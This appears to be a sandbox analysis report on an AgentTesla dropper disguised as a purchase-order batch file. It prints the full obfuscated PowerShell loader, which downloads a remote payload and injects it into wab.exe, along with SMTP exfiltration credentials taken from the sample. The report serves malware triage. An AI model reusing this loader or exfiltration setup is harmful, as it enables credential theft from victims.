Analysis
-
max time kernel
141s -
max time network
147s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
24-04-2024 11:41
Static task
static1
Behavioral task
behavioral1
Sample
PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat
Resource
win10v2004-20240412-en
General
-
Target
PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat
-
Size
7KB
-
MD5
9eb9ec107cbbbb33b41d9df263eb0547
-
SHA1
9f4098053112c864b75d3d22a647a63fbcb00db5
-
SHA256
aa42e8496ced596dfc972f148bb41a5f31e344921c875ce83a4e449dcf3974bf
-
SHA512
361706ca0f0af6c28e29c82fa2db3a33cda075f7fa2220a0f32a0e080bd8a2cc424aa77e9ca73667ecd696858ba974d1172e153d7e018e0107fe3c1b18c4c127
-
SSDEEP
192:KjYxSFV4/jJSi0JJ1e816YEz/QoTE1onTUDaBo3NNTDYGS5n:KjKSF6/jJ3wR6Y8QoTE16I+Bo3NtDTu
Malware Config
Extracted
agenttesla
Protocol: smtp- Host:
mail.controlfire.com.mx - Port:
587 - Username:
[email protected] - Password:
+DI9CNZM&Y%W - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 4 1548 powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 7 ip-api.com -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 2796 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 2700 powershell.exe 2796 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2700 set thread context of 2796 2700 powershell.exe wab.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exepowershell.exewab.exepid process 1548 powershell.exe 2700 powershell.exe 2700 powershell.exe 2796 wab.exe 2796 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 2700 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 1548 powershell.exe Token: SeDebugPrivilege 2700 powershell.exe Token: SeDebugPrivilege 2796 wab.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
cmd.exepowershell.exepowershell.exedescription pid process target process PID 1736 wrote to memory of 1548 1736 cmd.exe powershell.exe PID 1736 wrote to memory of 1548 1736 cmd.exe powershell.exe PID 1736 wrote to memory of 1548 1736 cmd.exe powershell.exe PID 1548 wrote to memory of 2572 1548 powershell.exe cmd.exe PID 1548 wrote to memory of 2572 1548 powershell.exe cmd.exe PID 1548 wrote to memory of 2572 1548 powershell.exe cmd.exe PID 1548 wrote to memory of 2700 1548 powershell.exe powershell.exe PID 1548 wrote to memory of 2700 1548 powershell.exe powershell.exe PID 1548 wrote to memory of 2700 1548 powershell.exe powershell.exe PID 1548 wrote to memory of 2700 1548 powershell.exe powershell.exe PID 2700 wrote to memory of 2424 2700 powershell.exe cmd.exe PID 2700 wrote to memory of 2424 2700 powershell.exe cmd.exe PID 2700 wrote to memory of 2424 2700 powershell.exe cmd.exe PID 2700 wrote to memory of 2424 2700 powershell.exe cmd.exe PID 2700 wrote to memory of 2796 2700 powershell.exe wab.exe PID 2700 wrote to memory of 2796 2700 powershell.exe wab.exe PID 2700 wrote to memory of 2796 2700 powershell.exe wab.exe PID 2700 wrote to memory of 2796 2700 powershell.exe wab.exe PID 2700 wrote to memory of 2796 2700 powershell.exe wab.exe PID 2700 wrote to memory of 2796 2700 powershell.exe wab.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER LIST GREEN VALLY CORP PDF.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1736 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "$Conjee = 1;$Sknhedsaabenbaringen='Substrin';$Sknhedsaabenbaringen+='g';Function Indisturbable($Antigenernes){$Stemmeberettigede=$Antigenernes.Length-$Conjee;For($Fodboldspillerens=5; $Fodboldspillerens -lt $Stemmeberettigede; $Fodboldspillerens+=(6)){$Noneviction+=$Antigenernes.$Sknhedsaabenbaringen.Invoke($Fodboldspillerens, $Conjee);}$Noneviction;}function Wharfie($Breddesekundets){.($Funktionssymboler) ($Breddesekundets);}$Gravsten=Indisturbable 'AflbsMBuddyoSpindzSp.ffiDihydl Drp.lUmedgaExtra/Leves5Skibs.Pathe0Konto Gaard(AleurW Untri ,lbinoutjedSporio Alo,w.espesBehav MilliNChromTSmals Unawa1 High0Gluon.Bragg0worst;Progn VoksbW lrei NidknDesti6Ja,ey4Bssel;Forsv Nsk bxPropp6Kibit4 Zygo;Reefi Vagtsr GyrovDiabo:casta1 T,ss2 F,rt1Banta.be.bu0Natur).tora Deli.GCeiboePre ecTidspk PlanoDigte/Praes2Unjoy0Jalou1P cif0Pheno0Vil.t1Irate0Skrav1Upaaa DemolFMil.ii In.rrMisc.e,odlef Krymo UndexS,nta/,ndos1Scrai2Nonco1Breds.s.orm0Ka.fe ';$aktuarerne=Indisturbable 'BjartU usins,laireMargirPalul-me.vrAH ddygGro,neAbsc.n uroptD.awb ';$Modning91=Indisturbable 'Afl dhR.flet Int tPatagp Demo: Oprr/Gener/Nonca2Morti3 C,ns. Blac9Uns a5Corre. Hjem6Deva 0Nonli. Pale7.lcad7hypon/U.mnsD ButiaForsytWagg aPrin,iLandsn.hantdUdradsBus,eaOutpum Rd.llInteriYn lenTh,rdg ammes BestmInspeeG.nnetH,lvtoCrinidMuskeeFrees.F,nesa KullaSlummfLeew ';$Overvurderingen=Indisturbable 'Tamdy>d,gsr ';$Funktionssymboler=Indisturbable 'Farvei PhoteI.orhx B.ch ';$Sammenskudsgildet='spareknivenes';Wharfie (Indisturbable 'GiveySCharie Ydertvrd,f-i dagCGast.oD rthn.andetNdsteeCafe n BurktFunkt In,d-Redn.PInartaTr,nstInco,hDataf RedakTEs im:Glyce\ PredTBrordoKitterRabuldFrmaneAfkrinBef,lsCentrkEthery Tm.el OmtalNew peHymnarKnudensp rre Fort.Sk,altPaalgxM ljvtDoubl Neu.o-UnconVKobleanonrelLandsu PartePerip Snake$IsogaSmatuta AdelmCert.mGlaskeTravenEqui,sAvadak Ans,uBr vidLednisStrafgskandiR.umblSublidCcitteEddistkrepl;Brand ');Wharfie (Indisturbable ' Polii Udvif R is Sibe.(,utint sbeeI.dbus mnintKlang- PrefpAvlstaSids tBerryhBrand PertaTHa.va:Nicam\T phaT AndeoDilkerHjtlydUn ilethw cnBuzzasGavnekTransybeli.lKompllDistreDida.r,onscn .kemebeskr.MiractAuto xUndistSoftw)J.rnb{sceneeBlodbxMoneyiTotr,t Afte}domsf; Fora ');$Kvantumsrabattens = Indisturbable 'BaadeeNedbrcReb bhSapheoBaham Afgha%Run,iaKongepRidsnpMidded daggabuzzatBronka,fsin%Unbar\ CopaWVaadeeDannesDecamtDampnf FarvaPlughlfe.oge arcen utom2Gesti0Ekstr8Can,r.Coun.ULongsnFi romSvmme Saun&Afplu&Misse Skurke.irmacOvervhFolkeo anni Desig$Trian ';Wharfie (Indisturbable ' Lath$Tekstg Gudml T,ffo Uoplb Bal.aSatsalEjend: nrivSH,etooRoc.ecLogikiArbejaRefrilGeddeiDefecsRaaheaNove,tfl.nti Mesmo .fornMe.ocs .uclpNon irAkvaroAff ocsupereOverjsUnbl.sMod leSublarTr.cenDrjeneBesud5Marmo8Viden=Rehab(Fysi.cPelsfmEn.epdZigza Indav/ Hircc Tabl Omski$TelugKAntibv NoncaPrevenPlankt CommuSq,alm AfsisLi.sir floraDipwab Anala Prentfa ritRak.oesarinn HavmsAchro)Catas ');Wharfie (Indisturbable ' Cand$JunglgfragtlSpoero.abagbJocunaCar.olUnde.:DelgrM.ervei TraclRealii Udbut VldeaAgou.nRenhecKobleiBatteedivers V.ld=,seud$uddatMUnepio.acandmunisnOmkriioutman SupegOve e9Impai1Sn,ck.fummls.elibpPeritlBlomkiLensgtNynlu(Tel u$subv,ODorsivtroskeEfterrImprivunderuMimrerArbejd Cleaeemissrho.edi Ch,rn Aflagislame U.denCrat )Di is ');$Modning91=$Militancies[0];Wharfie (Indisturbable 'C.men$Ve,ergUpwhil Prs oHyr.nbVermiaRnssnlMaski: InfiCBlge,oForetnMurics K.lltMissirAmbituT,gdkcAmal tThyreoBenzir TurnsCl.ys= ,pexNSul.heUnp rwPedo -Si.naOTh.rsbPetrijOverceKa apccentrtPa,ri WoolwS,olkeyHenstsCalemtCamase evidm Fis,.U gloN ,ackeOev itWards.SetarW,etroeRokkeb opslCEventlBassiiMesope BedfnTomatt Fal ');Wharfie (Indisturbable 'gno.t$R.staCUlnieoHaftonSpor sMetapt Fronr ExsiuIn lsc VaabtTjeneoAubadrVelgrsSpla..GalhoHoverpeSew naAlungdInde.eforgirHavkassalve[ L de$Ov,rra TankkHypert ReseuAntikaPristr Plure.trafrAntienBatiseLrepr]Ufor.=Andie$EkspeG,ennerOrnitaFa eivSydsis S,elt Ethie iltrnAfske ');$Traprocks=Indisturbable 'T.ilzCHovmooSkarrnBar esBa.lttGaflerEk,teuSt.etc lretDisapoBltesr FremsHelli.RepeaDKrapyoTranew .krinbreakl Maino mik,aReingd KernFProbliUdenrlReva ePre r(Newsp$neutrM BinooFli tdNo senGrufuide.egnTrmlkgPales9Pancr1Overs,H mom$WeirdS.onvekvideor HokuaAl amlsubc,dRadieeSemippPsy hoSeel,sPolsteK,ydsrNonemn,afiaeS,jtesMelan)Dknet ';$Traprocks=$Socialisationsprocesserne58[1]+$Traprocks;$Skraldeposernes=$Socialisationsprocesserne58[0];Wharfie (Indisturbable 'Award$libelgZygoul .sykoUproabHepataObserlSabb.:Ba.llHPervae ,rorlkinesa Udkmu,verstOs.edoLupetm fi,sa langtSulphiOver,s S eteTryinrDeeskiSt.mynEsbergBor,l= bser(unmorT ud aeKommusUnnestEns.a-.ikkePP,denaS,mertPointhRocka Subbi$ Un,aSAntinkUnmetrSkydeaBagsilTusm dRev,te DopipAcceloAte.ssGrsenePort rAfs.enCa.ire HavrsT.rme)Flytt ');while (!$Helautomatisering) {Wharfie (Indisturbable ' irke$Rim,lg Winglper,ioSubmibDiploaGammalShi,a:BrontMSyltnoIronirSam ia.acros MatisS eti=Pr,nt$ FlletFors r GinguVa,laeLenti ') ;Wharfie $Traprocks;Wharfie (Indisturbable 'GammaS Dou tAccesaAgendrDuplitMbler- BagbS ainlVelmae CuskeCorecp.roun Pift4N.utr ');Wharfie (Indisturbable 'Slids$ Oc,rgKmpevlCata oNonoub ffacaBevoglReduc:UndetHBefraeArmb lDishuaAfsk.uBa drtWad,yo arromFanmaa S,intEmigriProsasindureFuldfrCitiziUni,nnGrusvgKnubs=Force(tofteT st,keStrygs GruntUdbet-Fart,P ndavaKvalitFanklhSuper Enmit$stopuSU.fudkSlgtsrNivelaProgrlPolyadPreteeFalanp PlukoReunisHandleAlo.irMistonFolkeeJulensSamli)Efter ') ;Wharfie (Indisturbable 'Versl$VillagUnifolIco oo Verab.efenaAutoml S il:M,iopJExp,rgSkov,eGal.crvkkelsVirketHak,suVastiePacifr,eopon PanteCuptusAnapt=.utch$SoppegFem.nlVil,mo PredbChif,a rtsl Unsu:konvee Bitek A,des TilmtO,ersrAfbreaNarkouSmoldd AbsogVe.teiTatarfOutbltPolypeTil,rrV,rke+E ifi+suppl%Korr $RhesuM SiddiLufthlMagnhiDilattPropiaAmphinReallcDetoniTrolle DiatsHeter.SedancChrysoCigaru Deponalo.etImage ') ;$Modning91=$Militancies[$Jgerstuernes];}Wharfie (Indisturbable 'Kasse$SemiogPl,skltrespo sc.sb.arboatensil Mell:RampaS sterk ikieTutuklgau,leTostitKakifoSweatnPletslRejs,iTankfkBrinteLgtni Muscu=Het.r FaddeGb.joue,elintblods-Ba,taCGavekoSup.rngnavet H,ndeBebeenDow,btMinds D,mo$ConvoSOutgokF,rker undiaSvampl Hjn.dI.praeBestrp Ti doAarlis odeeDemokr,mulsnFalseePs.udsD.met ');Wharfie (Indisturbable ' ored$BeduigPlanol Forro TypebGriska,etodlFests:AarsaOCobwerPrajaa RenonDisplg busleEftersHalme Ja n=Ge er C.unt[,uperSUd rkycentrs zoprtErod,e Ca.pm ena.KringCfour,oHaaksnEkspevEnglieFe,skrLottit Bedr]Mal,a:borge: StedF Bagtr Outjo VandmUdfa.BSkummaExtirsMetate .orm6Obduk4ProgrSOverstLimourPseudiBeliinTune gdri.t(Loosi$Kl.riSdogrik.risieUrteglBrol,eGa antBasheoJulekn Utillafm,li HovekGitepekogle)Udsty ');Wharfie (Indisturbable 'Adact$Statig ProslExtrao.oersbNonpeaefterlSmaat: royaRCen.reGues.tCocknrUnderyFourc Apost=Likew Mesos[Forb SAugieyPa.blsqu,nttKondeePr.ham Redi.,zeotTAgnareBomblxA illtbaalp.Unst.EblinknFerric avenoRealldPengei Mor.nJulesgSo.ia]Raadi: Bear:ThygeA RecaSJenniCCordeIStrafI aywa. TresGIod zeForestBred SVermit ,pumrOestriAchronRaa agItera( Taph$DemobOEuroprDebataillusngazetgNeapoeBlafrsForet)Proje ');Wharfie (Indisturbable 'Signa$.allig DistlNedfloPhotobChloraNongal Kera:,edicFEcclerB.ndsypes,osSpiseeYahvep For,u,eagunDekorkInvintDozinsHumicsskgh nNaz rkClavinudtapiforklnChuffgCe,seeHjtberCr,ss=hamot$KampdRAutooeRd.udtWanrer i,meyElect.Ar.hss G,neu ecarbReleis Eg etphthar ,irci onnnunp.sgScr.g(Knude3Tinst0Lupoi1Canti3Brune9 Watt8 Tard,Herb.2soot 7 aerm5 Elim5 Te e8 Jive) Fige ');Wharfie $Frysepunktssnkninger;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1548 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Westfalen208.Unm && echo $"3⤵PID:2572
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Conjee = 1;$Sknhedsaabenbaringen='Substrin';$Sknhedsaabenbaringen+='g';Function Indisturbable($Antigenernes){$Stemmeberettigede=$Antigenernes.Length-$Conjee;For($Fodboldspillerens=5; $Fodboldspillerens -lt $Stemmeberettigede; $Fodboldspillerens+=(6)){$Noneviction+=$Antigenernes.$Sknhedsaabenbaringen.Invoke($Fodboldspillerens, $Conjee);}$Noneviction;}function Wharfie($Breddesekundets){.($Funktionssymboler) ($Breddesekundets);}$Gravsten=Indisturbable 'AflbsMBuddyoSpindzSp.ffiDihydl Drp.lUmedgaExtra/Leves5Skibs.Pathe0Konto Gaard(AleurW Untri ,lbinoutjedSporio Alo,w.espesBehav MilliNChromTSmals Unawa1 High0Gluon.Bragg0worst;Progn VoksbW lrei NidknDesti6Ja,ey4Bssel;Forsv Nsk bxPropp6Kibit4 Zygo;Reefi Vagtsr GyrovDiabo:casta1 T,ss2 F,rt1Banta.be.bu0Natur).tora Deli.GCeiboePre ecTidspk PlanoDigte/Praes2Unjoy0Jalou1P cif0Pheno0Vil.t1Irate0Skrav1Upaaa DemolFMil.ii In.rrMisc.e,odlef Krymo UndexS,nta/,ndos1Scrai2Nonco1Breds.s.orm0Ka.fe ';$aktuarerne=Indisturbable 'BjartU usins,laireMargirPalul-me.vrAH ddygGro,neAbsc.n uroptD.awb ';$Modning91=Indisturbable 'Afl dhR.flet Int tPatagp Demo: Oprr/Gener/Nonca2Morti3 C,ns. Blac9Uns a5Corre. Hjem6Deva 0Nonli. Pale7.lcad7hypon/U.mnsD ButiaForsytWagg aPrin,iLandsn.hantdUdradsBus,eaOutpum Rd.llInteriYn lenTh,rdg ammes BestmInspeeG.nnetH,lvtoCrinidMuskeeFrees.F,nesa KullaSlummfLeew ';$Overvurderingen=Indisturbable 'Tamdy>d,gsr ';$Funktionssymboler=Indisturbable 'Farvei PhoteI.orhx B.ch ';$Sammenskudsgildet='spareknivenes';Wharfie (Indisturbable 'GiveySCharie Ydertvrd,f-i dagCGast.oD rthn.andetNdsteeCafe n BurktFunkt In,d-Redn.PInartaTr,nstInco,hDataf RedakTEs im:Glyce\ PredTBrordoKitterRabuldFrmaneAfkrinBef,lsCentrkEthery Tm.el OmtalNew peHymnarKnudensp rre Fort.Sk,altPaalgxM ljvtDoubl Neu.o-UnconVKobleanonrelLandsu PartePerip Snake$IsogaSmatuta AdelmCert.mGlaskeTravenEqui,sAvadak Ans,uBr vidLednisStrafgskandiR.umblSublidCcitteEddistkrepl;Brand ');Wharfie (Indisturbable ' Polii Udvif R is Sibe.(,utint sbeeI.dbus mnintKlang- PrefpAvlstaSids tBerryhBrand PertaTHa.va:Nicam\T phaT AndeoDilkerHjtlydUn ilethw cnBuzzasGavnekTransybeli.lKompllDistreDida.r,onscn .kemebeskr.MiractAuto xUndistSoftw)J.rnb{sceneeBlodbxMoneyiTotr,t Afte}domsf; Fora ');$Kvantumsrabattens = Indisturbable 'BaadeeNedbrcReb bhSapheoBaham Afgha%Run,iaKongepRidsnpMidded daggabuzzatBronka,fsin%Unbar\ CopaWVaadeeDannesDecamtDampnf FarvaPlughlfe.oge arcen utom2Gesti0Ekstr8Can,r.Coun.ULongsnFi romSvmme Saun&Afplu&Misse Skurke.irmacOvervhFolkeo anni Desig$Trian ';Wharfie (Indisturbable ' Lath$Tekstg Gudml T,ffo Uoplb Bal.aSatsalEjend: nrivSH,etooRoc.ecLogikiArbejaRefrilGeddeiDefecsRaaheaNove,tfl.nti Mesmo .fornMe.ocs .uclpNon irAkvaroAff ocsupereOverjsUnbl.sMod leSublarTr.cenDrjeneBesud5Marmo8Viden=Rehab(Fysi.cPelsfmEn.epdZigza Indav/ Hircc Tabl Omski$TelugKAntibv NoncaPrevenPlankt CommuSq,alm AfsisLi.sir floraDipwab Anala Prentfa ritRak.oesarinn HavmsAchro)Catas ');Wharfie (Indisturbable ' Cand$JunglgfragtlSpoero.abagbJocunaCar.olUnde.:DelgrM.ervei TraclRealii Udbut VldeaAgou.nRenhecKobleiBatteedivers V.ld=,seud$uddatMUnepio.acandmunisnOmkriioutman SupegOve e9Impai1Sn,ck.fummls.elibpPeritlBlomkiLensgtNynlu(Tel u$subv,ODorsivtroskeEfterrImprivunderuMimrerArbejd Cleaeemissrho.edi Ch,rn Aflagislame U.denCrat )Di is ');$Modning91=$Militancies[0];Wharfie (Indisturbable 'C.men$Ve,ergUpwhil Prs oHyr.nbVermiaRnssnlMaski: InfiCBlge,oForetnMurics K.lltMissirAmbituT,gdkcAmal tThyreoBenzir TurnsCl.ys= ,pexNSul.heUnp rwPedo -Si.naOTh.rsbPetrijOverceKa apccentrtPa,ri WoolwS,olkeyHenstsCalemtCamase evidm Fis,.U gloN ,ackeOev itWards.SetarW,etroeRokkeb opslCEventlBassiiMesope BedfnTomatt Fal ');Wharfie (Indisturbable 'gno.t$R.staCUlnieoHaftonSpor sMetapt Fronr ExsiuIn lsc VaabtTjeneoAubadrVelgrsSpla..GalhoHoverpeSew naAlungdInde.eforgirHavkassalve[ L de$Ov,rra TankkHypert ReseuAntikaPristr Plure.trafrAntienBatiseLrepr]Ufor.=Andie$EkspeG,ennerOrnitaFa eivSydsis S,elt Ethie iltrnAfske ');$Traprocks=Indisturbable 'T.ilzCHovmooSkarrnBar esBa.lttGaflerEk,teuSt.etc lretDisapoBltesr FremsHelli.RepeaDKrapyoTranew .krinbreakl Maino mik,aReingd KernFProbliUdenrlReva ePre r(Newsp$neutrM BinooFli tdNo senGrufuide.egnTrmlkgPales9Pancr1Overs,H mom$WeirdS.onvekvideor HokuaAl amlsubc,dRadieeSemippPsy hoSeel,sPolsteK,ydsrNonemn,afiaeS,jtesMelan)Dknet ';$Traprocks=$Socialisationsprocesserne58[1]+$Traprocks;$Skraldeposernes=$Socialisationsprocesserne58[0];Wharfie (Indisturbable 'Award$libelgZygoul .sykoUproabHepataObserlSabb.:Ba.llHPervae ,rorlkinesa Udkmu,verstOs.edoLupetm fi,sa langtSulphiOver,s S eteTryinrDeeskiSt.mynEsbergBor,l= bser(unmorT ud aeKommusUnnestEns.a-.ikkePP,denaS,mertPointhRocka Subbi$ Un,aSAntinkUnmetrSkydeaBagsilTusm dRev,te DopipAcceloAte.ssGrsenePort rAfs.enCa.ire HavrsT.rme)Flytt ');while (!$Helautomatisering) {Wharfie (Indisturbable ' irke$Rim,lg Winglper,ioSubmibDiploaGammalShi,a:BrontMSyltnoIronirSam ia.acros MatisS eti=Pr,nt$ FlletFors r GinguVa,laeLenti ') ;Wharfie $Traprocks;Wharfie (Indisturbable 'GammaS Dou tAccesaAgendrDuplitMbler- BagbS ainlVelmae CuskeCorecp.roun Pift4N.utr ');Wharfie (Indisturbable 'Slids$ Oc,rgKmpevlCata oNonoub ffacaBevoglReduc:UndetHBefraeArmb lDishuaAfsk.uBa drtWad,yo arromFanmaa S,intEmigriProsasindureFuldfrCitiziUni,nnGrusvgKnubs=Force(tofteT st,keStrygs GruntUdbet-Fart,P ndavaKvalitFanklhSuper Enmit$stopuSU.fudkSlgtsrNivelaProgrlPolyadPreteeFalanp PlukoReunisHandleAlo.irMistonFolkeeJulensSamli)Efter ') ;Wharfie (Indisturbable 'Versl$VillagUnifolIco oo Verab.efenaAutoml S il:M,iopJExp,rgSkov,eGal.crvkkelsVirketHak,suVastiePacifr,eopon PanteCuptusAnapt=.utch$SoppegFem.nlVil,mo PredbChif,a rtsl Unsu:konvee Bitek A,des TilmtO,ersrAfbreaNarkouSmoldd AbsogVe.teiTatarfOutbltPolypeTil,rrV,rke+E ifi+suppl%Korr $RhesuM SiddiLufthlMagnhiDilattPropiaAmphinReallcDetoniTrolle DiatsHeter.SedancChrysoCigaru Deponalo.etImage ') ;$Modning91=$Militancies[$Jgerstuernes];}Wharfie (Indisturbable 'Kasse$SemiogPl,skltrespo sc.sb.arboatensil Mell:RampaS sterk ikieTutuklgau,leTostitKakifoSweatnPletslRejs,iTankfkBrinteLgtni Muscu=Het.r FaddeGb.joue,elintblods-Ba,taCGavekoSup.rngnavet H,ndeBebeenDow,btMinds D,mo$ConvoSOutgokF,rker undiaSvampl Hjn.dI.praeBestrp Ti doAarlis odeeDemokr,mulsnFalseePs.udsD.met ');Wharfie (Indisturbable ' ored$BeduigPlanol Forro TypebGriska,etodlFests:AarsaOCobwerPrajaa RenonDisplg busleEftersHalme Ja n=Ge er C.unt[,uperSUd rkycentrs zoprtErod,e Ca.pm ena.KringCfour,oHaaksnEkspevEnglieFe,skrLottit Bedr]Mal,a:borge: StedF Bagtr Outjo VandmUdfa.BSkummaExtirsMetate .orm6Obduk4ProgrSOverstLimourPseudiBeliinTune gdri.t(Loosi$Kl.riSdogrik.risieUrteglBrol,eGa antBasheoJulekn Utillafm,li HovekGitepekogle)Udsty ');Wharfie (Indisturbable 'Adact$Statig ProslExtrao.oersbNonpeaefterlSmaat: royaRCen.reGues.tCocknrUnderyFourc Apost=Likew Mesos[Forb SAugieyPa.blsqu,nttKondeePr.ham Redi.,zeotTAgnareBomblxA illtbaalp.Unst.EblinknFerric avenoRealldPengei Mor.nJulesgSo.ia]Raadi: Bear:ThygeA RecaSJenniCCordeIStrafI aywa. TresGIod zeForestBred SVermit ,pumrOestriAchronRaa agItera( Taph$DemobOEuroprDebataillusngazetgNeapoeBlafrsForet)Proje ');Wharfie (Indisturbable 'Signa$.allig DistlNedfloPhotobChloraNongal Kera:,edicFEcclerB.ndsypes,osSpiseeYahvep For,u,eagunDekorkInvintDozinsHumicsskgh nNaz rkClavinudtapiforklnChuffgCe,seeHjtberCr,ss=hamot$KampdRAutooeRd.udtWanrer i,meyElect.Ar.hss G,neu ecarbReleis Eg etphthar ,irci onnnunp.sgScr.g(Knude3Tinst0Lupoi1Canti3Brune9 Watt8 Tard,Herb.2soot 7 aerm5 Elim5 Te e8 Jive) Fige ');Wharfie $Frysepunktssnkninger;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2700 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Westfalen208.Unm && echo $"4⤵PID:2424
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2796
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JO5V1Y5NKJ7UPT4GB0OI.tempFilesize
7KB
MD5b6deaf5086f3f06a441d47b131eb887e
SHA1b36120877b4de406bc380cc898b5a31448cfb431
SHA2562e6668fa4d196b7d94836a1c204a860112365c3d8e1709a4d6a588703b6b57a6
SHA512dff35cfabea1a24582fc05a1a988a31f8fe8910e640689d67a1a030bf8291fa24dcea6bc53489dda71c555fea97315c30b4660c23ae4ed44533a145417121a16
-
C:\Users\Admin\AppData\Roaming\Westfalen208.UnmFilesize
428KB
MD577733e60a9ec3270f4fdacc26cf3805d
SHA135c315d79017697b468ad75a278aa119a5e61d18
SHA256b7e4ff4bb3dc96ffc83515a63fe5180b7ca6a5abb102a4dea75555ac05985382
SHA5120dcd1b4c2f25eb54a5f090add29f44cfa2fac775cf0efa4f102e67a3a68ded1a72f1e7ccab2379bd81072711446a989d0af4a7fef6fdba502b72ad50276127d7
-
memory/1548-6-0x0000000002AB0000-0x0000000002B30000-memory.dmpFilesize
512KB
-
memory/1548-39-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmpFilesize
9.6MB
-
memory/1548-23-0x0000000002AB0000-0x0000000002B30000-memory.dmpFilesize
512KB
-
memory/1548-9-0x0000000002AB0000-0x0000000002B30000-memory.dmpFilesize
512KB
-
memory/1548-10-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmpFilesize
9.6MB
-
memory/1548-11-0x0000000002AB0000-0x0000000002B30000-memory.dmpFilesize
512KB
-
memory/1548-8-0x0000000002AB0000-0x0000000002B30000-memory.dmpFilesize
512KB
-
memory/1548-7-0x00000000021D0000-0x00000000021D8000-memory.dmpFilesize
32KB
-
memory/1548-28-0x0000000002AB0000-0x0000000002B30000-memory.dmpFilesize
512KB
-
memory/1548-25-0x0000000002AB0000-0x0000000002B30000-memory.dmpFilesize
512KB
-
memory/1548-5-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmpFilesize
9.6MB
-
memory/1548-4-0x000000001B4D0000-0x000000001B7B2000-memory.dmpFilesize
2.9MB
-
memory/1548-21-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmpFilesize
9.6MB
-
memory/1548-24-0x0000000002AB0000-0x0000000002B30000-memory.dmpFilesize
512KB
-
memory/2700-26-0x0000000006660000-0x000000000AA1E000-memory.dmpFilesize
67.7MB
-
memory/2700-22-0x0000000002730000-0x0000000002770000-memory.dmpFilesize
256KB
-
memory/2700-16-0x0000000073210000-0x00000000737BB000-memory.dmpFilesize
5.7MB
-
memory/2700-18-0x0000000073210000-0x00000000737BB000-memory.dmpFilesize
5.7MB
-
memory/2700-27-0x00000000054E0000-0x00000000054E1000-memory.dmpFilesize
4KB
-
memory/2700-19-0x0000000002730000-0x0000000002770000-memory.dmpFilesize
256KB
-
memory/2700-29-0x0000000073210000-0x00000000737BB000-memory.dmpFilesize
5.7MB
-
memory/2700-30-0x00000000771D0000-0x0000000077379000-memory.dmpFilesize
1.7MB
-
memory/2700-31-0x0000000002730000-0x0000000002770000-memory.dmpFilesize
256KB
-
memory/2700-32-0x00000000773C0000-0x0000000077496000-memory.dmpFilesize
856KB
-
memory/2700-17-0x0000000002730000-0x0000000002770000-memory.dmpFilesize
256KB
-
memory/2796-35-0x00000000773F6000-0x00000000773F7000-memory.dmpFilesize
4KB
-
memory/2796-36-0x00000000773C0000-0x0000000077496000-memory.dmpFilesize
856KB
-
memory/2796-37-0x0000000001040000-0x00000000020A2000-memory.dmpFilesize
16.4MB
-
memory/2796-38-0x00000000773C0000-0x0000000077496000-memory.dmpFilesize
856KB
-
memory/2796-34-0x00000000771D0000-0x0000000077379000-memory.dmpFilesize
1.7MB
-
memory/2796-40-0x0000000001040000-0x0000000001082000-memory.dmpFilesize
264KB
-
memory/2796-41-0x00000000730D0000-0x00000000737BE000-memory.dmpFilesize
6.9MB
-
memory/2796-43-0x0000000023F90000-0x0000000023FD0000-memory.dmpFilesize
256KB
-
memory/2796-46-0x00000000730D0000-0x00000000737BE000-memory.dmpFilesize
6.9MB
-
memory/2796-47-0x0000000023F90000-0x0000000023FD0000-memory.dmpFilesize
256KB